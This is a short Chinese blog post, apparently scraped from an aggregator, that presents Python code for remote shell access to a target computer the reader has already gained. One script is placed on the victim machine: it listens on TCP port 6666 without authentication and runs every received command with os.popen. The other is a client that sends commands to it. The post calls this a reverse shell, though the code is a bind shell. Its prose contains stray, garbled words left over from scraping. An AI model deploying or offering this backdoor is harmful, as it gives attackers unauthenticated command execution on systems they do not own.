利用python模擬菜刀反彈shell繞過限制

有的時候咱們在獲取到目標電腦時候若是對方電腦又python 編譯環境時能夠利用python 反彈shellpython

主要用到python os庫和sokect庫shell

這裏的服務端在目標機上運行緩存

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 尋址  tcp協議
s.bind(('',6666))#補丁端口
s.listen(1)#開始監聽一個隊列
while True:
    sock,addr=s.accept()#返回兩次 第一次返回鏈接地址 二 端口號
    print ('客戶端:',addr)
    while True:
        cmd=sock.recv(1024)#緩存長度 接收傳遞過來
        cmdstr=cmd.decode()
        if cmdstr=='exit':
            print ('客戶端:',addr,'關閉')
            sock.close()
            break
        result=popen(cmdstr).read()
        sock.send(result.encode())
s.close()

本機運行socket

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 尋址  tcp協議
c.connect(('127.0.0.1',6666))#鏈接地址
while True:
    cmd=input("cmd:")
    c.send(cmd.encode())#必須傳遞流
    if cmd=='exit':
        c.close()
        break
    data=c.recv(1014)
    print (data.decode())
相關文章
相關標籤/搜索